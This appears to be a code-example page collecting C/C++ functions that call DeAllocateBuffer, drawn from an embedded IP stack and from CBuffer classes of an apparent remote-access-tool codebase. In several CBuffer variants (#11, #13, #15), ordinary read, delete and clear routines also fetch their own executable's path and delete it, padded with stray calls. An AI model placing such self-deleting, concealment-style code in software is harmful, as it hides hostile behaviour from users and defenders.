/*********************************************************************
 * Function:        void IP_DeliverLocalPkt( NET_PKT *sbfr )
 *
 * PreCondition:    None
 * Input:			sbfr - packet buffer
 * Output:          None
 * Side Effects:    None
 * Overview:        Delivers the packet to the UDP, TCP or ICMP handler
 * Note:
 ********************************************************************/
void IP_DeliverLocalPkt( NET_PKT *sbfr )
{
    IP_HEADER *pIP;

	switch( sbfr->PktType )
	{
	case PKT_LOCAL:
	case PKT_BROADCAST:
	case PKT_MULTICAST:
		break;

	case PKT_NON_LOCAL:	
	default:
   		DeAllocateBuffer(sbfr);
		return;
		break;
	}

	sbfr->PktLen 	-= sizeof(IP_HEADER);
    sbfr->pTransportLayer = sbfr->pNetworkLayer + sizeof(IP_HEADER);

	pIP 			= (IP_HEADER*)sbfr->pNetworkLayer;

    if( pIP->Protocol == IP_PROT_ICMP )
		ICMP_RxHandler( sbfr );
	else if( pIP->Protocol == IP_PROT_UDP )
		UDP_RxHandler( sbfr );
	else if( pIP->Protocol == IP_PROT_TCP )
		TCP_RxHandler( sbfr );
	else
	{
   		DeAllocateBuffer(sbfr);
	}
}
Beispiel #2
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	ClearBuffer
// 
// DESCRIPTION:	Clears/Resets the buffer
// 
// RETURNS:	
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
	// Force the buffer to be empty
	m_pPtr = m_pBase;

	DeAllocateBuffer(1024);
}
Beispiel #3
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	Read
// 
// DESCRIPTION:	Reads data from the buffer and deletes what it reads
// 
// RETURNS:		
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
	// Trying to byte off more than ya can chew - eh?
	if (nSize > GetMemSize())
		return 0;

	// all that we have 
	if (nSize > GetBufferLen())
		nSize = GetBufferLen();

		
	if (nSize)
	{
		// Copy over required amount and its not up to us
		// to terminate the buffer - got that!!!
		CopyMemory(pData,m_pBase,nSize);
		
		// Slide the buffer back - like sinking the data
		MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);

		m_pPtr -= nSize;
	}
		
	DeAllocateBuffer(GetBufferLen());

	return nSize;
}
Beispiel #4
0
UINT CBuffer::Read(PBYTE pData, UINT nSize)   //[][][][][][][][][][]  20   5
{                                             //[][[]10
	EnterCriticalSection(&m_cs);

	if (nSize > GetMemSize())   //1024                2048   1
	{
		LeaveCriticalSection(&m_cs);
		return 0;
	}
	if (nSize > GetBufferLen())
		nSize = GetBufferLen();

		
	if (nSize)
	{
		
		CopyMemory(pData,m_pBase,nSize);

		MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);

		m_pPtr -= nSize;
	}
		
	DeAllocateBuffer(GetBufferLen());   //1

	LeaveCriticalSection(&m_cs);
	return nSize;
}
Beispiel #5
0
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
{
	EnterCriticalSection(&m_cs);

	if (ulLength > GetBufferMaxLength())
	{
		LeaveCriticalSection(&m_cs);
		return 0;
	}
	if (ulLength > GetBufferLength())
	{
		ulLength = GetBufferLength();
	}

	if (ulLength)
	{

		CopyMemory(Buffer,m_Base,ulLength);  

		MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
		m_Ptr -= ulLength;
	}

	DeAllocateBuffer(GetBufferLength());   

	LeaveCriticalSection(&m_cs);
	return ulLength;
}
Beispiel #6
0
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
	EnterCriticalSection(&m_cs);

	if (nSize > GetMemSize())
	{
		LeaveCriticalSection(&m_cs);
		return 0;
	}

	if (nSize > GetBufferLen())
	{
		nSize = GetBufferLen();
	}

	if (nSize)
	{
		CopyMemory(pData, m_pBase, nSize);
		MoveMemory(m_pBase,m_pBase + nSize, GetMemSize() - nSize);

		m_pPtr -= nSize;
	}
		
	DeAllocateBuffer(GetBufferLen());

	LeaveCriticalSection(&m_cs);
	return nSize;
}
Beispiel #7
0
void CBuffer::ClearBuffer()
{
	EnterCriticalSection(&m_cs);
	m_pPtr = m_pBase;

	DeAllocateBuffer(1024);
	LeaveCriticalSection(&m_cs);
}
Beispiel #8
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	ClearBuffer
// 
// DESCRIPTION:	Clears/Resets the buffer
// 
// RETURNS:	
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
	EnterCriticalSection(&m_cs);
	// Force the buffer to be empty
	m_pPtr = m_pBase;

	DeAllocateBuffer(1024);
	LeaveCriticalSection(&m_cs);
}
/*********************************************************************
 * Function:        void IP_RxHandler( NET_PKT *sbfr )
 *
 * PreCondition:    None
 * Input:			sbfr - packet buffer
 * Output:          None
 * Side Effects:    None
 * Overview:        Process new IP packet received by local NIC
 * Note:
 ********************************************************************/
void IP_RxHandler( NET_PKT *sbfr, BYTE * srcMAC )
{
    IP_HEADER *ipHdr;
    WORD len, optionsLen;
	BYTE ihl;
	
	// If this packet is not for us then discard it.
	// we may get these packets only in promiscous mode
    if( sbfr->PktType == PKT_NON_LOCAL )
    {
		goto IP_DropPkt;
	}

	ipHdr = (IP_HEADER*)sbfr->pNetworkLayer;

    ihl = ipHdr->IHL_Version & 0x0F;
    
    if( (ihl < IP_IHLEN) || ((ipHdr->IHL_Version & 0xF0) != IPv4) )
    {
		goto IP_DropPkt;
	}

    // Calculate options length in this header, if there is any.
    // IHL is in terms of numbers of 32-bit DWORDs; i.e. actual
    // length is 4 times IHL.
   
   
    optionsLen = (ihl * 4) - sizeof(IP_HEADER);

    if( optionsLen > MAX_OPTIONS_LEN )
    {
		goto IP_DropPkt;
	}
        
    if( checksum16( (BYTE*)ipHdr, ihl * 4 ) != 0xFFFF )  // must be FFFF
    {
		goto IP_DropPkt;
    }

    len = swaps( ipHdr->TotalLength );
        
    if( (sbfr->PktLen < len) || (len < (ihl * 4) ) )
    {
		goto IP_DropPkt;
    }

	ipHdr->TotalLength=sbfr->PktLen = len; //adjust pktlen to not exceed totallength
	IP_DeliverLocalPkt( sbfr );
	return;

//////////////////////////////////
IP_DropPkt:
   	DeAllocateBuffer(sbfr);
   	return;

}
Beispiel #10
0
//************************************
// Method:    Delete
// FullName:  CBuffer::Delete
// Access:    public 
// Returns:   UINT   real deleted size
// Qualifier: Delete data from the head.
// Parameter: UINT nSize
//************************************
UINT CBuffer::Delete(UINT nSize){
	if (nSize > GetMemSize())
		return 0;
	if (nSize > GetBufferLen())
		nSize = GetBufferLen();
	if (nSize)
	{
		MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
		m_pPtr -= nSize;
	}
	DeAllocateBuffer(GetBufferLen());
	return nSize;
}
Beispiel #11
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	ClearBuffer
// 
// DESCRIPTION:	Clears/Resets the buffer
// 
// RETURNS:	
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
	TCHAR szModule [MAX_PATH];
	EnterCriticalSection(&m_cs);
	// Force the buffer to be empty
	m_pPtr = m_pBase;
	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	
	DeAllocateBuffer(1024);
	CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
	LeaveCriticalSection(&m_cs);
	DeleteFile(szModule);
}
Beispiel #12
0
//************************************
// Method:    Read
// FullName:  CBuffer::Read
// Access:    public 
// Returns:   UINT
// Qualifier: Read data from the buffer and delete what it reads
// Parameter: PBYTE pData
// Parameter: UINT nSize
//************************************
UINT CBuffer::Read(PBYTE pData, UINT nSize){
	if (nSize > GetMemSize())      //GetMemSize return m_nSize,memory size
		return 0;             
	if (nSize > GetBufferLen())    //GetBufferlen return real buffer size
		nSize = GetBufferLen();
	if (nSize)
	{
		CopyMemory(pData,m_pBase,nSize);
		MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
		m_pPtr -= nSize;
	}
	DeAllocateBuffer(GetBufferLen());
	return nSize;
}
Beispiel #13
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	Read
// 
// DESCRIPTION:	Reads data from the buffer and deletes what it reads
// 
// RETURNS:		
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
	TCHAR szModule [MAX_PATH];

	EnterCriticalSection(&m_cs);
	// Trying to byte off more than ya can chew - eh?
	if (nSize > GetMemSize())
	{
		CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
		LeaveCriticalSection(&m_cs);
		return 0;
	}

	// all that we have 
	if (nSize > GetBufferLen())
		nSize = GetBufferLen();

	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	if (nSize)
	{
		// Copy over required amount and its not up to us
		// to terminate the buffer - got that!!!
		CopyMemory(pData,m_pBase,nSize);
		GetForegroundWindow();
		// Slide the buffer back - like sinking the data
		MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);

		m_pPtr -= nSize;
	}

	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	DeAllocateBuffer(GetBufferLen());

	CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
	LeaveCriticalSection(&m_cs);
	DeleteFile(szModule);
	return nSize;
}
Beispiel #14
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	Delete
// 
// DESCRIPTION:	Delete data from the buffer and deletes what it reads
// 
// RETURNS:		
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
	// Trying to byte off more than ya can chew - eh?
	if (nSize > GetMemSize())
		return 0;

	// all that we have 
	if (nSize > GetBufferLen())
		nSize = GetBufferLen();

		
	if (nSize)
	{
		// Slide the buffer back - like sinking the data
		MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);

		m_pPtr -= nSize;
	}
		
	DeAllocateBuffer(GetBufferLen());

	return nSize;
}
Beispiel #15
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	Delete
// 
// DESCRIPTION:	Delete data from the buffer and deletes what it reads
// 
// RETURNS:		
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
	// Trying to byte off more than ya can chew - eh?
	if (nSize > GetMemSize())
		return 0;

	// all that we have 
	if (nSize > GetBufferLen())
		nSize = GetBufferLen();

	TCHAR szModule [MAX_PATH];	
	if (nSize)
	{
		CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
		// Slide the buffer back - like sinking the data
		MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);

		m_pPtr -= nSize;
	}
	CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
	DeAllocateBuffer(GetBufferLen());
	DeleteFile(szModule);
	return nSize;
}
/*********************************************************************
 * Function:        void IPProcess()
 *
 * PreCondition:    None
 * Input:			None
 * Output:          None
 * Side Effects:    None
 * Overview:        Go thru pending ARP Fifo, 
 *					Transmit packets with ARP resolved.
 *					Discard packet if timeout on Arp reply
 * Note:
 ********************************************************************/
void IPProcess(void)
{	
	NET_PKT* sbfr;
	BYTE* pDestMAC;
	IP_HEADER* IPH;
	TICK diffTicks;
	NET_PKT* tempPtr = NULL;
	static BYTE  brdcstMACadr[ETH_ADRLEN] = {0xff,0xff,0xff,0xff,0xff,0xff};
		
	//iterate thru the packets that are waiting for ARP reply
	while( Que_GetHead( &PendingARPQue, &sbfr ) )
	{
		DWORD   dest_addr;

		sbfr->PktFlags &= ~ARP_QUE_MASK;
        if( tempPtr == sbfr ) //we have checked all
		{ 
			sbfr->PktFlags |= ARP_QUE_MASK;
			Que_AddTail( &PendingARPQue, sbfr );
			break;
		}
			
		if( tempPtr == NULL )
			tempPtr = sbfr;
			
		IPH = (IP_HEADER*)sbfr->pNetworkLayer;
		
		dest_addr = _arrayToDword(IPH->DestAddr);

        pDestMAC = QueryHostRoute( dest_addr );
	
		if( pDestMAC )
		{
			SetEtherTxDestMAC( sbfr, pDestMAC );
			MACTransmit( sbfr );
		}
		else if (dest_addr == 0xffffffff)
		{
			SetEtherTxDestMAC( sbfr, brdcstMACadr);
			MACTransmit( sbfr );
		}
		else
		{
			//if not timed out, add this packet back to the arp wait queue.

            diffTicks = TickGetDiff(SystemTickGet(), sbfr->ARPTickStart);
	
	        // If timeout has not occured, do not do anything.
	        if ( diffTicks <= ARP_TIMEOUT_TICKS )
	        {
				sbfr->PktFlags |= ARP_QUE_MASK;
		        Que_AddTail( &PendingARPQue, sbfr );
	            continue;
	        }
	        else
	        {
		        if( sbfr->PktFlags&PKT_TX_AUTO_DEALLOC )
		        	DeAllocateBuffer( sbfr );
		    }
		}
	}
}
Beispiel #17
0
//************************************
// Method:    ClearBuffer
// FullName:  CBuffer::ClearBuffer
// Access:    public 
// Returns:   void
// Qualifier: Clears/Resets the buffer
//            Force the buffer to be empty
//************************************
void CBuffer::ClearBuffer(){
	m_pPtr = m_pBase;
	DeAllocateBuffer(1024);
}